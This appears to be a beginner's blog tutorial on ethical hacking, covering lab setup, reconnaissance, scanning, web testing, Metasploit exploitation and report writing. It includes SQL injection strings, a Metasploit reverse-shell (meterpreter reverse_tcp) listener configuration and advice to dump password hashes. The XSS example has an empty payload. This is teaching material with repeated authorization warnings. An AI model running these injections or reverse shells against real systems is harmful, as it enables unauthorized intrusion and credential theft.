Ethical Hacking Tutorial: Learn Security from Scratch (2026)
I started my journey into ethical hacking when a friend's website got defaced by a SQL injection attack. Watching the forensic analysis, I realized that understanding how attackers think is the best defense. Ethical hacking — also called penetration testing — is the practice of legally breaking into systems to find vulnerabilities before malicious hackers do.
This tutorial introduces you to the ethical hacker's mindset and toolset. You will learn reconnaissance techniques, network scanning, web application testing, exploitation fundamentals, and reporting. Remember: always get written authorization before testing any system you do not own. With great power comes great responsibility.
Setting Up Your Ethical Hacking Lab
Never practice hacking on production systems or networks you do not own. Set up a lab environment using VirtualBox or VMware. Install Kali Linux — the industry-standard penetration testing distribution — as your attack machine. For targets, use intentionally vulnerable VMs like DVWA, Metasploitable, or OWASP Juice Shop.
Your lab should include an isolated network where your attack machine can reach the targets but your host OS remains disconnected. Snapshot your VMs so you can restore after each exercise. This sandbox is where you learn without risk of legal trouble or causing real damage.
# Install Kali Linux tools
sudo apt update && sudo apt install -y kali-linux-headless
# Test network connectivity to target
ping -c 4 192.168.56.102
nmap -sn 192.168.56.0/24Reconnaissance and Information Gathering
Reconnaissance is the first phase of any penetration test. Passive recon uses publicly available information without touching the target: WHOIS lookups, DNS enumeration, Google dorking, and social media profiling. Active recon involves interacting with the target through port scanning and service detection.
Tools like theHarvester collect email addresses and subdomains. Dmitry gathers WHOIS and DNS information. Shodan scans internet-connected devices. The goal is to build a profile of the target — IP ranges, domain names, employee emails — that will guide your next steps.
# Passive reconnaissance
whois example.com
nslookup -type=MX example.com
dig example.com ANY
# Active reconnaissance
nmap -sV -sC -O target_ipVulnerability Scanning and Analysis
Vulnerability scanners automate the detection of known security issues. Nessus and OpenVAS are comprehensive scanners that check thousands of CVEs. Nikto specializes in web server vulnerabilities. Each scanner produces a report with severity ratings and remediation advice.
Manual validation is critical — scanners produce false positives. For each finding, verify it manually before including it in your final report. I use the scanner output as a starting point and then dive deeper with targeted tools and techniques to confirm and understand each vulnerability.
# Web vulnerability scanning with Nikto
nikto -h https://target-site.com
# OpenVAS scan
gvm-start
gvm-cli --gmp-username admin --gmp-password pass \
--socketpath /var/run/gvmd.sock scan-target target_ipWeb Application Security Testing
Web applications are the most common attack surface. Test for the OWASP Top 10 vulnerabilities: SQL injection, XSS, CSRF, insecure deserialization, and broken access control. Burp Suite is the de facto tool for web application testing — it intercepts HTTP traffic and lets you modify requests in transit.
For SQL injection, try entering ' OR 1=1 -- in login fields. For XSS, inject into input fields. Always test in a safe environment first. Understanding these basic attacks reveals how easily poor input validation can compromise an application.
# SQL injection test (on your lab target only!)
curl "http://target.com/user?id=1' OR '1'='1"
# XSS test
curl -X POST -d "search=" \
"http://target.com/search"Exploitation and Post-Exploitation
Exploitation is the phase where you leverage a vulnerability to gain access. Metasploit is the most popular exploitation framework — it contains hundreds of modules for known vulnerabilities. Search for modules relevant to your target's services, configure the payload, and launch the exploit.
Post-exploitation involves maintaining access, escalating privileges, and extracting data. Use Meterpreter payloads for interactive shell access. Dump password hashes, enumerate the network, and look for sensitive files. Privilege escalation on Linux uses kernel exploits or misconfigured sudo entries; on Windows, check for unquoted service paths and weak permissions.
msfconsole
search type:exploit platform:linux
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploitReporting and Responsible Disclosure
The final deliverable of a penetration test is the report. It should include an executive summary for management, a technical findings section with proof-of-concept evidence, risk ratings, and remediation recommendations. Clear writing is as important as technical skill — your report must drive action.
Responsible disclosure means giving the organization time to fix vulnerabilities before public disclosure. Typical timelines are 90 days for critical issues and 120 days for high severity. If the organization does not respond, some researchers publish findings after the deadline. Always follow the law and your signed agreement.
Report Structure:
1. Executive Summary
2. Scope and Methodology
3. Findings (severity, description, evidence, remediation)
4. Risk Ratings: Critical/High/Medium/Low
5. Remediation Roadmap
6. Appendix: Tools used, raw scan dataFrequently Asked Questions
Is ethical hacking legal?
Yes, when you have written authorization from the system owner. Practicing on your own lab or participating in bug bounty programs with clear rules of engagement is legal. Unauthorized access is a crime under laws like the Computer Fraud and Abuse Act.
What certifications should I pursue for a career in ethical hacking?
Start with CompTIA Security+ for fundamentals, then pursue CEH (Certified Ethical Hacker) for a broad overview, and later specialize with OSCP (Offensive Security Certified Professional) for hands-on pentesting skills. GPEN and GWAPT are also respected.
Do I need to know programming to become an ethical hacker?
Yes, at least scripting. Python is essential for writing exploits and automation scripts. Understanding web technologies (HTML, JavaScript, SQL) is critical for web application testing. Reading C helps with exploit development.
What is the difference between a vulnerability assessment and a penetration test?
A vulnerability assessment scans for known vulnerabilities and produces a list of findings. A penetration test goes further by attempting to exploit vulnerabilities to demonstrate actual business risk. Pentests are more thorough but also more expensive and time-consuming.
Originally published on Ayodhyyya. Last updated June 1, 2026.